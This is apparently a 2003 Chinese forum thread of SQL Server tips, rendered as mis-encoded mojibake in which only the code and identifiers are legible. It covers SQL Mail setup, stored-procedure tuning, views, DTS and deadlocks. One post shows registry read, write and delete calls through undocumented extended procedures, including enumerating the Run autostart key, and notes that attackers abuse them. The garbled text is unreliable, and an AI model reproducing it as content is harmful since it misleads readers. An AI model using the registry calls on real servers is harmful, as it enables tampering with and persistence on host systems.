ÎҾͰÑÎÒÅäÖÃSQL mailµÄ¹ý³ÌÃèÊöÒ»±é¡£

ÎÒÓÃSQL mailÖ÷ÒªÊÇÒªÍê³ÉÕâÑùµÄ¹¦ÄÜ£º
>Óû§ÔÚÍøÉÏ×¢²áºó,ϵͳ½«Ëæ»ú²úÉúµÄÃÜÂë·¢Ë͵½Óû§µÇ¼ÇµÄEmail
>Óû§ÔÚÂÛ̳µÄÌû×ÓÓлظ´Ê±½«ÄÚÈÝ·¢Ë͵½Óû§µÄEmail
ÒòΪÉÏÊö¹ý³Ì¶¼ÊÇÔÚ´æ´¢¹ý³ÌÖÐÍê³ÉµÄ£¬ËùÒÔ±ÜÃâÁËǰ̨³ÌÐò¶Ô²ÎÊýµÄ
´«Êä´¦Àí£¬Ò²²»ÐèÒªÔÙÓõÚÈý·½µÄ×é¼þÍê³É£¬¸Ð¾õ±È½Ï·½±ã¡£

1.ΪÁËʹÓÃSQL mail,Ê×ÏÈÄãµÄ·þÎñÆ÷ÉϵÃÓÐSMTP·þÎñ£¬ÎÒûÓа²×°win2000 server×Ô´øµÄSMTP£¬¶øÊÇÓÃimail6.04µÄSMTP,¸Ð¾õ±È½ÏÎȶ¨£¬¹¦ÄÜÒ²±È½ÏÇ¿¡£
2.°²×°Ò»¸öÓʼþϵͳ,ÎÒ°²×°ÁËoutLook 2000£¬ÎÒ·¢ÏÖÔÚÅäÖÃÓʼþprofileʱ£¬Èç¹û
²»°²×°outLook¶øÊÇÓñðµÄµÚÈý·½³ÌÐò£¬win2kÖÐÎÄserver°æÔÚ¿ØÖÆÃæ°åÖоÍÕÒ²»µ½¡°Óʼþ¡±Ò»Ïî.
3.°²×°ÍêoutlookºóÔÙˢпØÖÆÃæ°å,¾Í»áÕÒµ½¡°Óʼþ¡±Ò»Ï˫»÷½øÐÐÓʼþµÄÅäÖã¬ÎªÅäÖÃÎļþÆðÒ»¸öÃû×Ö(¼ÙÉèΪmyProfile)£¬ÒÔ±ãÒÔºóSQL mailʹÓã¬ÔÚ¸ÃÅäÖÃÎļþÖÐÉèÖø÷ÏîÊôÐÔ¡£
4.Æô¶¯outlook(ÉèÖÃΪÓÃmyProfile×÷ΪĬÈϵÄÅäÖÃÎļþ),²âÊÔ½øÐÐÊÕ·¢Óʼþ£¬È·ÈÏoutlook¹¤×÷Õý³£¡£
5.Óõ±Ç°µÄÓòÕÊ»§Æô¶¯SQL server,ÔÚÆóÒµ¹ÜÀíÆ÷µÄÖ§³Ö·þÎñÖУ¬µã»÷SQL mailµÄÊôÐÔ£¬¿ÉÒÔ¿´µ½ÔÚÅäÖÃÎļþÑ¡ÔñÖУ¬³öÏÖÁ˸ղŶ¨ÒåµÄmyProfileÅäÖÃÎļþ(ÄãÒ²¿ÉÒÔ¶¨Òå¶à¸öprofile)£¬Ñ¡ÔñÕâ¸öÅäÖÃÎļþ½øÐвâÊÔ£¬SQL½«·µ»Ø³É¹¦¿ªÊ¼ºÍ½áÊøÒ»¸öMAPI»á»°µÄÐÅÏ¢£¬Èç¹û³öÏÖ´íÎó»òÊÇûÓÐÕÒµ½ÓʼþÅäÖÃÎļþ£¬ÄÇÒ»¶¨ÊÇÄãÆô¶¯SQL serverÓõÄÕʺÅÓÐÎÊÌâ
6.ÏÖÔÚÄã¾Í¿ÉÒÔÔÚ²éѯ·ÖÎöÆ÷ÖÐÓÃXP_sendmailÕâ¸öÀ©Õ¹´æ´¢¹ý³Ì·¢ËÍSQL mailÁË£¬¸ñʽÈçÏ£º
xp_sendmail {[@recipients =] 'recipients [;...n]'}
[,][@message =] 'message']
[,][@query =] 'query']
[,][@attachments =] attachments]
[,][@copy_recipients =] 'copy_recipients [;...n]'
[,][@blind_copy_recipients =] 'blind_copy_recipients [;...n]'
[,][@subject =] 'subject']
[,[@type =] 'type']
[,][@attach_results =] 'attach_value']
[,][@no_output =] 'output_value']
[,][@no_header =] 'header_value']
[,][@width =] width]
[,][@separator =] 'separator']
[,][@echo_error =] 'echo_value']
[,][@set_user =] 'user']
[,][@dbuse =] 'database']

ÆäÖÐ@recipientsÊDZØÐèµÄ

²ÎÊý˵Ã÷£º

²ÎÊý ˵Ã÷
@recipients ÊÕ¼þÈË£¬ÖмäÓöººÅ·Ö¿ª
@message Òª·¢Ë͵ÄÐÅÏ¢
@query È·¶¨Ö´Ðв¢ÒÀ¸½ÓʼþµÄÓÐЧ²éѯ£¬³ý´¥·¢Æ÷ÖеIJåÈë±í¼°É¾³ý±íÍ⣬´Ë²éѯÄÜÒýÓÃÈκζÔÏó
@attachments ¸½¼þ
@copy_recipients ³­ËÍ
@blind_copy_recipients ÃÜËÍ
@subject ±êÌâ
@attach_results Ö¸¶¨²éѯ½á¹û×öΪ¸½¼þ·¢ËÍ
@no_header ²»·¢ËͲéѯ½á¹ûµÄÁÐÃû
@set_user ²éѯÁª½ÓµÄÓû§Ãû£¬Ä¬ÈÏΪGuset
@dbuse ²éѯËùÓõÄÊý¾Ý¿â£¬Ä¬ÈÏΪȱʡÊý¾Ý¿â


7.²»¹ý£¬Èç¹ûÊÇÔÚwebÓ¦ÓÃÖÐʹÓÃSQL mail,»¹ÓÐһЩÎÊÌâÒª½â¾ö:Ê×ÏÈ£¬¾ÍÊÇÓ¦ÓóÌÐòÖÐÁ¬½ÓÊý¾Ý¿âµÄÕʺţ¬ÎÒÔÚÍøÕ¾³ÌÐòÖеÄÊý¾Ý¿âÁ¬½ÓÊÇʹÓÃUDLÎļþ£¬ÕʺÅΪDbGuest,ÕâÊÇÒ»¸öÆÕͨÕÊ»§£¬ËùÒÔ»¹±ØÐëÔÚmaster¿âµÄÀ©Õ¹´æ´¢¹ý³ÌÕÒµ½XP_sendmail£¬²¢ÔÚÆäÊôÐÔÖÐÔö¼ÓDbGuestÕâ¸öÓû§£¬²¢Ñ¡ÔñEXECȨÏÞ¡£
ºÃÁË£¬ÏÖÔÚÉèÖÃÍê±Ï£¬ÔËÐÐÍøÕ¾³ÌÐò£¬²âÊÔÓû§×¢²á£¬¼¸ºõûÓÐʲôÑÓ³Ù£¬ÎÒ²âÊÔÓõÄÓÊÏäÖоÍÊÕµ½ÁËÕâ·âSQL mail·¢³öµÄEmail:
"ллÄãµÄ×¢²á£¬ÄãµÄÓû§ÃûÊÇ [Ðĸè],ÃÜÂëÊÇ 123456789,½¨ÒéÄãÊ״εǼºóÐÞ¸ÄÃÜÂë"

´ó¹¦¸æ³É!¿´ÆðÀ´ºÜ¼òµ¥µÄ¹ý³Ì£¬È´ÕÛÌÚÁËÎÒÒ»¸öÐÇÆÚ!Ï£ÍûÄãÄܱÈÎÒ˳Àû.

²»¹ý£¬ÏÖÔÚËäÈ»ÄÜÓÃSQLmail·¢Ë͸½¼þ£¬¸½¼ÓÊý¾Ý¿â²éѯ½á
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:34
Stored Procedure£¨´æ´¢¹ý³Ì£©±àд¾­ÑéºÍÓÅ»¯´ëÊ©
Ò»¡¢Ç°ÑÔ£ºÔÚ¾­¹ýÒ»¶Îʱ¼äµÄ´æ´¢¹ý³Ì¿ª·¢Ö®ºó£¬Ð´ÏÂÁËһЩ¿ª·¢Ê±ºòµÄС½áºÍ¾­ÑéÓë´ó¼Ò¹²Ïí£¬Ï£Íû¶Ô´ó¼ÒÓÐÒ棬Ö÷ÒªÊÇÕë¶ÔSybaseºÍSQL ServerÊý¾Ý¿â£¬µ«ÆäËüÊý¾Ý¿âÓ¦¸ÃÓÐһЩ¹²ÐÔ¡£

¶þ¡¢Êʺ϶ÁÕ߶ÔÏó£ºÊý¾Ý¿â¿ª·¢³ÌÐòÔ±£¬Êý¾Ý¿âµÄÊý¾ÝÁ¿ºÜ¶à£¬Éæ¼°µ½¶ÔSP£¨´æ´¢¹ý³Ì£©µÄÓÅ»¯µÄÏîÄ¿¿ª·¢ÈËÔ±£¬¶ÔÊý¾Ý¿âÓÐŨºñÐËȤµÄÈË¡£

Èý¡¢½éÉÜ£ºÔÚÊý¾Ý¿âµÄ¿ª·¢¹ý³ÌÖУ¬¾­³£»áÓöµ½¸´ÔÓµÄÒµÎñÂß¼­ºÍ¶ÔÊý¾Ý¿âµÄ²Ù×÷£¬Õâ¸öʱºò¾Í»áÓÃSPÀ´·â×°Êý¾Ý¿â²Ù×÷¡£Èç¹ûÏîÄ¿µÄSP½Ï¶à£¬ÊéдÓÖûÓÐÒ»¶¨µÄ¹æ·¶£¬½«»áÓ°ÏìÒÔºóµÄϵͳά»¤À§ÄѺʹóSPÂß¼­µÄÄÑÒÔÀí½â£¬ÁíÍâÈç¹ûÊý¾Ý¿âµÄÊý¾ÝÁ¿´ó»òÕßÏîÄ¿¶ÔSPµÄÐÔÄÜÒªÇóºÜ£¬¾Í»áÓöµ½ÓÅ»¯µÄÎÊÌ⣬·ñÔòËÙ¶ÈÓпÉÄܺÜÂý£¬¾­¹ýÇ×Éí¾­Ñ飬һ¸ö¾­¹ýÓÅ»¯¹ýµÄSPÒª±ÈÒ»¸öÐÔÄܲîµÄSPµÄЧÂÊÉõÖÁ¸ß¼¸°Ù±¶¡£

ËÄ¡¢¡¡¡¡¡¡¡¡ÄÚÈÝ£º

1¡¢¿ª·¢ÈËÔ±Èç¹ûÓõ½ÆäËû¿âµÄTable»òView£¬Îñ±ØÔÚµ±Ç°¿âÖн¨Á¢ViewÀ´ÊµÏÖ¿ç¿â²Ù×÷£¬×îºÃ²»ÒªÖ±½ÓʹÓá°databse.dbo.table_name¡±£¬ÒòΪsp_depends²»ÄÜÏÔʾ³ö¸ÃSPËùʹÓõĿç¿âtable»òview£¬²»·½±ãУÑé¡£



2¡¢¿ª·¢ÈËÔ±ÔÚÌá½»SPÇ°£¬±ØÐëÒѾ­Ê¹ÓÃset showplan on·ÖÎö¹ý²éѯ¼Æ»®£¬×ö¹ý×ÔÉíµÄ²éѯÓÅ»¯¼ì²é¡£



3¡¢¸ß³ÌÐòÔËÐÐЧÂÊ£¬ÓÅ»¯Ó¦ÓóÌÐò£¬ÔÚSP±àд¹ý³ÌÖÐÓ¦¸Ã×¢ÒâÒÔϼ¸µã£º

a)¡¡¡¡¡¡¡¡SQLµÄʹÓù淶£º

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ i.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿±ÜÃâ´óÊÂÎñ²Ù×÷£¬É÷ÓÃholdlock×Ӿ䣬Ìá¸ßϵͳ²¢·¢ÄÜÁ¦¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿±ÜÃâ·´¸´·ÃÎÊͬһÕÅ»ò¼¸ÕÅ±í£¬ÓÈÆäÊÇÊý¾ÝÁ¿½Ï´óµÄ±í£¬¿ÉÒÔ¿¼ÂÇÏȸù¾ÝÌõ¼þÌáÈ¡Êý¾Ýµ½ÁÙʱ±íÖУ¬È»ºóÔÙ×öÁ¬½Ó¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡iii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿±ÜÃâʹÓÃÓα꣬ÒòΪÓαêµÄЧÂʽϲÈç¹ûÓαê²Ù×÷µÄÊý¾Ý³¬¹ý1ÍòÐУ¬ÄÇô¾ÍÓ¦¸Ã¸Äд£»Èç¹ûʹÓÃÁËÓα꣬¾ÍÒª¾¡Á¿±ÜÃâÔÚÓαêÑ­»·ÖÐÔÙ½øÐбíÁ¬½ÓµÄ²Ù×÷¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ iv.¡¡¡¡¡¡¡¡¡¡¡¡¡¡×¢Òâwhere×Ö¾äд·¨£¬±ØÐ뿼ÂÇÓï¾ä˳Ðò£¬Ó¦¸Ã¸ù¾ÝË÷Òý˳Ðò¡¢·¶Î§´óСÀ´È·¶¨Ìõ¼þ×Ó¾äµÄÇ°ºó˳Ðò£¬¾¡¿ÉÄܵÄÈÃ×Ö¶Î˳ÐòÓëË÷Òý˳ÐòÏàÒ»Ö£¬·¶Î§´Ó´óµ½Ð¡¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ v.¡¡¡¡¡¡¡¡¡¡¡¡¡¡²»ÒªÔÚwhere×Ó¾äÖеġ°=¡±×ó±ß½øÐк¯Êý¡¢ËãÊõÔËËã»òÆäËû±í´ïʽÔËË㣬·ñÔòϵͳ½«¿ÉÄÜÎÞ·¨ÕýȷʹÓÃË÷Òý¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ vi.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿Ê¹ÓÃexists´úÌæselect count(1)À´ÅжÏÊÇ·ñ´æÔڼǼ£¬countº¯ÊýÖ»ÓÐÔÚͳ¼Æ±íÖÐËùÓÐÐÐÊýʱʹÓ㬶øÇÒcount(1)±Ècount(*)¸üÓÐЧÂÊ¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡vii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿Ê¹Óá°>=¡±£¬²»ÒªÊ¹Óá°>¡±¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡viii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡×¢ÒâһЩor×Ó¾äºÍunion×Ó¾äÖ®¼äµÄÌæ»»

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ix.¡¡¡¡¡¡¡¡¡¡¡¡¡¡×¢Òâ±íÖ®¼äÁ¬½ÓµÄÊý¾ÝÀàÐÍ£¬±ÜÃⲻͬÀàÐÍÊý¾ÝÖ®¼äµÄÁ¬½Ó¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ x.¡¡¡¡¡¡¡¡¡¡¡¡¡¡×¢Òâ´æ´¢¹ý³ÌÖвÎÊýºÍÊý¾ÝÀàÐ͵ĹØϵ¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ xi.¡¡¡¡¡¡¡¡¡¡¡¡¡¡×¢Òâinsert¡¢update²Ù×÷µÄÊý¾ÝÁ¿£¬·ÀÖ¹ÓëÆäËûÓ¦ÓóåÍ»¡£Èç¹ûÊý¾ÝÁ¿³¬¹ý200¸öÊý¾ÝÒ³Ã棨400k£©£¬ÄÇôϵͳ½«»á½øÐÐËøÉý¼¶£¬Ò³¼¶Ëø»áÉý¼¶³É±í¼¶Ëø¡£



b)¡¡¡¡¡¡¡¡Ë÷ÒýµÄʹÓù淶£º

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ i.¡¡¡¡¡¡¡¡¡¡¡¡¡¡Ë÷ÒýµÄ´´½¨ÒªÓëÓ¦ÓýáºÏ¿¼ÂÇ£¬½¨Òé´óµÄOLTP±í²»Òª³¬¹ý6¸öË÷Òý¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡¿ÉÄܵÄʹÓÃË÷Òý×Ö¶Î×÷Ϊ²éѯÌõ¼þ£¬ÓÈÆäÊǾ۴ØË÷Òý£¬±ØҪʱ¿ÉÒÔͨ¹ýindex index_nameÀ´Ç¿ÖÆÖ¸¶¨Ë÷Òý

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡iii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡±ÜÃâ¶Ô´ó±í²éѯʱ½øÐÐtable scan£¬±ØҪʱ¿¼ÂÇн¨Ë÷Òý¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ iv.¡¡¡¡¡¡¡¡¡¡¡¡¡¡ÔÚʹÓÃË÷Òý×Ö¶Î×÷ΪÌõ¼þʱ£¬Èç¹û¸ÃË÷ÒýÊÇÁªºÏË÷Òý£¬ÄÇô±ØÐëʹÓõ½¸ÃË÷ÒýÖеĵÚÒ»¸ö×Ö¶Î×÷ΪÌõ¼þʱ²ÅÄܱ£Ö¤ÏµÍ³Ê¹ÓøÃË÷Òý£¬·ñÔò¸ÃË÷Òý½«²»»á±»Ê¹Óá£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ v.¡¡¡¡¡¡¡¡¡¡¡¡¡¡Òª×¢ÒâË÷ÒýµÄά»¤£¬ÖÜÆÚÐÔÖؽ¨Ë÷Òý£¬ÖØбàÒë´æ´¢¹ý³Ì¡£



c)¡¡¡¡¡¡¡¡tempdbµÄʹÓù淶£º

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ i.¡¡¡¡¡¡¡¡¡¡¡¡¡¡¾¡Á¿±ÜÃâʹÓÃdistinct¡¢order by¡¢group by¡¢having¡¢join¡¢cumpute£¬ÒòΪÕâЩÓï¾ä»á¼ÓÖØtempdbµÄ¸ºµ£¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ ii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡±ÜÃâƵ·±´´½¨ºÍɾ³ýÁÙʱ±í£¬¼õÉÙϵͳ±í×ÊÔ´µÄÏûºÄ¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡iii.¡¡¡¡¡¡¡¡¡¡¡¡¡¡ÔÚн¨ÁÙʱ±íʱ£¬Èç¹ûÒ»´ÎÐÔ²åÈëÊý¾ÝÁ¿ºÜ´ó£¬ÄÇô¿ÉÒÔʹÓÃselect into´úÌæcreate table£¬±ÜÃâlog£¬Ìá¸ßËٶȣ»Èç¹ûÊý¾ÝÁ¿²»´ó£¬ÎªÁË»ººÍϵͳ±íµÄ×ÊÔ´£¬½¨ÒéÏÈcreate table£¬È»ºóinsert¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ iv.¡¡¡¡¡¡¡¡¡¡¡¡¡¡Èç¹ûÁÙʱ±íµÄÊý¾ÝÁ¿½Ï´ó£¬ÐèÒª½¨Á¢Ë÷Òý£¬ÄÇôӦ¸Ã½«´´½¨ÁÙʱ±íºÍ½¨Á¢Ë÷ÒýµÄ¹ý³Ì·ÅÔÚµ¥¶ÀÒ»¸ö×Ó´æ´¢¹ý³ÌÖУ¬ÕâÑù²ÅÄܱ£Ö¤ÏµÍ³Äܹ»ºÜºÃµÄʹÓõ½¸ÃÁÙʱ±íµÄË÷Òý¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ v.¡¡¡¡¡¡¡¡¡¡¡¡¡¡Èç¹ûʹÓõ½ÁËÁÙʱ±í£¬ÔÚ´æ´¢¹ý³ÌµÄ×îºóÎñ±Ø½«ËùÓеÄÁÙʱ±íÏÔʽɾ³ý£¬ÏÈtruncate table£¬È»ºódrop table£¬ÕâÑù¿ÉÒÔ±ÜÃâϵͳ±íµÄ½Ï³¤Ê±¼äËø¶¨¡£

¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ vi.¡¡¡¡¡¡¡¡¡¡¡¡¡¡É÷ÓôóµÄÁÙʱ±íÓëÆäËû´ó±íµÄÁ¬½Ó²éѯºÍÐ޸ģ¬¼õµÍϵͳ±í¸ºµ££¬ÒòΪÕâÖÖ²Ù×÷»áÔÚÒ»ÌõÓï¾äÖжà´ÎʹÓÃtempdbµÄϵͳ±í¡£



d)¡¡¡¡¡¡¡¡ºÏÀíµÄË㷨ʹÓãº

¸ù¾ÝÉÏÃæÒÑÌáµ½µÄSQLÓÅ»¯¼¼ÊõºÍASE TuningÊÖ²áÖеÄSQLÓÅ»¯ÄÚÈÝ,½áºÏʵ¼ÊÓ¦ÓÃ,²ÉÓöàÖÖËã·¨½øÐбȽÏ,ÒÔ»ñµÃÏûºÄ×ÊÔ´×îÉÙ¡¢Ð§ÂÊ×î¸ßµÄ·½·¨¡£¾ßÌå¿ÉÓÃASEµ÷ÓÅÃüÁset statistics io on, set statistics time on , set showplan on µÈ¡£
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:34
¹ØÓÚSQL ServerÖм¸¸öδ¹«²¼µÄ·ÃÎÊ×¢²á±íµÄÀ©Õ¹´æ´¢¹ý³Ì
SQL ServerÖаüº¬Á˼¸¸ö¿ÉÒÔ·ÃÎÊϵͳע²á±íµÄÀ©Õ¹´æ´¢¹ý³Ì.µ«Êµ¼ÊÉÏÕ⼸¸öÀ©Õ¹´æ´¢¹ý³ÌÊÇδ¹«¿ªµÄ,´Ósql server 7.0¾ÍÓÐÁË,
ÔÚSQL server 2000ÖÐÈÔÈ»±£Áô,ËûÃÇÒÔºó¿ÉÄÜ»áɾ³ý.µ«ÊÇÕ⼸¸ö´æ´¢¹ý³ÌÈ´ÌṩÁËÔÚµ±Ç°µÄSQL Server°æ±¾ÖзÃÎÊϵͳע²á±íµÄÄÜÁ¦,
¶øÇҺܶàÈËÀûÓÃSQL ServerÀ´½øÐй¥»÷ϵͳʱ,ÍùÍù¶¼»áÓõ½Õ⼸¸öÀ©Õ¹´æ´¢¹ý³Ì.ËùÒÔ×îºÃÔÚSQL ServerÖнûÓÃËûÃÇ.

xp_regenumvalues ÒÔ¶à¸ö¼Ç¼¼¯·½Ê½·µ»ØËùÓмüÖµ
ʹÓ÷½·¨:
xp_regenumvalues ×¢²á±í¸ù¼ü, ×Ó¼ü
±ÈÈç˵,Ïë¿´¿´HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run µÄËùÓмüÖµ:
use master
exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run'

xp_regread ·µ»ØÖƶ¨¼üµÄÖµ
ʹÓ÷½·¨:
xp_regread ¸ù¼ü,×Ó¼ü,¼üÖµÃû
use master
exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir'

xp_regwrite дÈë×¢²á±í
ʹÓ÷½·¨:
xp_regwrite ¸ù¼ü,×Ó¼ü, ÖµÃû, ÖµÀàÐÍ, Öµ
use master
exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello'
×¢ÒâÖµÀàÐÍÓÐ2ÖÖREG_SZ ±íʾ×Ö·ûÐÍ,REG_DWORD ±íʾÕûÐÍ

xp_regdeletevalue ɾ³ýij¸öÖµ
ʹÓ÷½·¨:
xp_regdeletevalue ¸ù¼ü,×Ó¼ü,ÖµÃû
use master
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName'

xp_regdeletekey ɾ³ý¼ü,°üÀ¨¸Ã¼üÏÂËùÓÐÖµ

ʹÓ÷½·¨:
use master
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey'
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:37
ÎÊ£ºÈçºÎÔÚ²»Çø·Ö´óСдµÄ SQL Server 7.0 ʵÀýÉϱàдÄܹ»¶ÔÓû§ÊäÈëÃÜÂë½øÐдóСд±È½ÏµÄ³ÌÐò£¿
´ð£º Èç¹ûÒѾ­½«ÏµÍ³Éý¼¶Îª SQL Server 2000£¬Ôò¿ÉÒÔÔÚÁ춱ðÖ¸¶¨Êý¾ÝÅÅÐò¹æÔò¡££¨SQL Server 2000 Books Online ´Ê»ã±í½«ÅÅÐò¹æÔò¶¨ÒåΪ¡°Ò»×éÈ·¶¨ÈçºÎ±È½Ï¡¢ÅÅÁкͳÊÏÖÊý¾ÝµÄ¹æÔò¡£×Ö·ûÊý¾ÝÊÇʹÓÃÅÅÐò¹æÔò´æ´¢µÄ£¬ÕâЩ¹æÔò°üÀ¨ÇøÓòÉèÖá¢ÅÅÐò±ê×¼ºÍÇø·Ö´óСд¡±¡££©

µ«ÊÇ£¬Ö»ÓÐÉý¼¶µ½ SQL Server 2000£¬Äú²Å¿ÉÒÔʹÓÃÉÏÊö¼¼Êõ¡£¼ÙÉè´æ´¢ÔÚ±íÖеÄÃÜÂëֵΪ BamBi2000£¨×¢Òâ¡°B¡±ÊÇ´óд£¬ÆäËûËùÓÐ×Ö·û¶¼ÊÇСд£©£º

DECLARE @user_password varchar(12)

IF CAST (@user_password AS varbinary(12)) =
CAST ('BamBi2000' AS varbinary(12))
PRINT 'Password match'
ELSE
PRINT 'Password mismatch'
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:37
ÈçºÎÔÚÊÓͼÖÐʹÓÃORDER BY¶ÌÓï
Ò»°ãÔÚÊÓͼÖÐʹÓÃOrder byÊÇÎÞЧµÄ£¬³ý·ÇʹÓÃÁËTop¹Ø¼ü×Ö£¬ÄÇôÎÒÃÇ¿ÉÒÔÓÃTop 100 percentÀ´ÆÛÆ­SQLµÄÓï·¨·ÖÎöÆ÷¡£
USE pubs
GO

CREATE VIEW AuthorsByName
AS
SELECT TOP 100 PERCENT *
FROM authors
ORDER BY au_lname, au_fname
GO
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:38
¹ØÓÚDTSµ¼Èëµ¼³ö¶ªÊ§Ä¬ÈÏÖµµÈ¶ÔÏó
ʹÓÃDTSÏòµ¼ÔÚSQL SERVERÖ®¼ä»òÁ½¸öÊý¾Ý¿âÖ®¼ä½øÐÐÊý¾Ýµ¼Èëµ¼³ö°´Ä¬ÈÏÖµÅäÖã¬ÔòÖ»µ¼Èëµ¼³ö±í¶ÔÏóÒÔ¼°ÊÓͼ¶ÔÏó£¬ÏóÆäËûµÄ±ÈÈçĬÈÏÖµ¡¢´æ´¢¹ý³ÌµÈ¶ÔÏó¿ÉÄܶªÊ§£¬Èç¹ûÏ£ÍûËùÓеÄÊý¾Ý¿â¶ÔÏó¶¼ÔÚµ¼Èëµ¼³öÖ®ÁУ¬ÇëÔÚDTSÏòµ¼¹ý³ÌÖÐÑ¡Ôñ¡°ÔÚSQL SERVERÊý¾Ý¿â¸´ÖƶÔÏóºÍÊý¾Ý¡±£¬½ÓÏÂÀ´¾Í¿ÉÒÔÑ¡Ôñ¸÷¸ö¶ÔÏó½øÐе¼Èëµ¼³öÁË

µ«Òª×¢Ò⣬ÔÚµ¼µÄ¹ý³ÌÖÐÈÝÒ׳ö´í£¬¿ÉÄÜÊÇÓÉÓÚ¶ÔÏó´´¼üµÄ˳ÐòÔì³ÉµÄ£¬Èç¹û³ö´í½¨Òé·Ö¶à´Îµ¼£¬µ¼µÄ˳Ðò¿ÉÒÔΪ£º×Ô¶¨ÒåÊý¾ÝÀàÐÍ£¬±í£¬ÊÓͼ£¬Ä¬ÈÏÖµ£¬Ô¼Êø£¬×Ô¶¨Ò庯Êý£¬´æ´¢¹ý³ÌµÈ
×÷Õß: ccwlm741212    ʱ¼ä: 2003-12-23 22:38
×ܽá SQL Server ÖÐËÀËø²úÉúµÄÔ­Òò¼°½â¾ö°ì·¨
ÆäʵËùÓеÄËÀËø×îÉî²ãµÄÔ­Òò¾ÍÊÇÒ»¸ö:×ÊÔ´¾ºÕù
±íÏÖÒ»:
Ò»¸öÓû§A ·ÃÎʱíA(ËøסÁ˱íA),È»ºóÓÖ·ÃÎʱíB
ÁíÒ»¸öÓû§B ·ÃÎʱíB(ËøסÁ˱íB),È»ºóÆóͼ·ÃÎʱíA
ÕâʱÓû§AÓÉÓÚÓû§BÒѾ­Ëøס±íB£¬Ëü±ØÐëµÈ´ýÓû§BÊͷűíB,²ÅÄܼÌÐø£¬ºÃÁËËûÀÏÈ˼ҾÍÖ»ºÃÀÏÀÏʵʵÔÚÕâµÈÁË
ͬÑùÓû§BÒªµÈÓû§AÊͷűíA²ÅÄܼÌÐøÕâ¾ÍËÀËøÁË
½â¾ö·½·¨£º
ÕâÖÖËÀËøÊÇÓÉÓÚÄãµÄ³ÌÐòµÄBUG²úÉúµÄ£¬³ýÁ˵÷ÕûÄãµÄ³ÌÐòµÄÂß¼­±ðÎÞËû·¨
×Ðϸ·ÖÎöÄã³ÌÐòµÄÂß¼­£¬
1£º¾¡Á¿±ÜÃâͬʱËø¶¨Á½¸ö×ÊÔ´
2: ±ØÐëͬʱËø¶¨Á½¸ö×ÊԴʱ£¬Òª±£Ö¤ÔÚÈκÎʱ¿Ì¶¼Ó¦¸Ã°´ÕÕÏàͬµÄ˳ÐòÀ´Ëø¶¨×ÊÔ´.

±íÏÖ¶þ:
Óû§A¶ÁÒ»Ìõ¼Í¼£¬È»ºóÐ޸ĸÃÌõ¼Í¼
ÕâÊÇÓû§BÐ޸ĸÃÌõ¼Í¼
ÕâÀïÓû§AµÄÊÂÎñÀïËøµÄÐÔÖÊÓɹ²ÏíËøÆóͼÉÏÉýµ½¶ÀÕ¼Ëø(for update),¶øÓû§BÀïµÄ¶ÀÕ¼ËøÓÉÓÚAÓй²ÏíËø´æÔÚËùÒÔ±ØÐëµÈAÊÍ
·Åµô¹²ÏíËø£¬¶øAÓÉÓÚBµÄ¶ÀÕ¼Ëø¶øÎÞ·¨ÉÏÉýµÄ¶ÀÕ¼ËøÒ²¾Í²»¿ÉÄÜÊͷŹ²ÏíËø£¬ÓÚÊdzöÏÖÁËËÀËø¡£
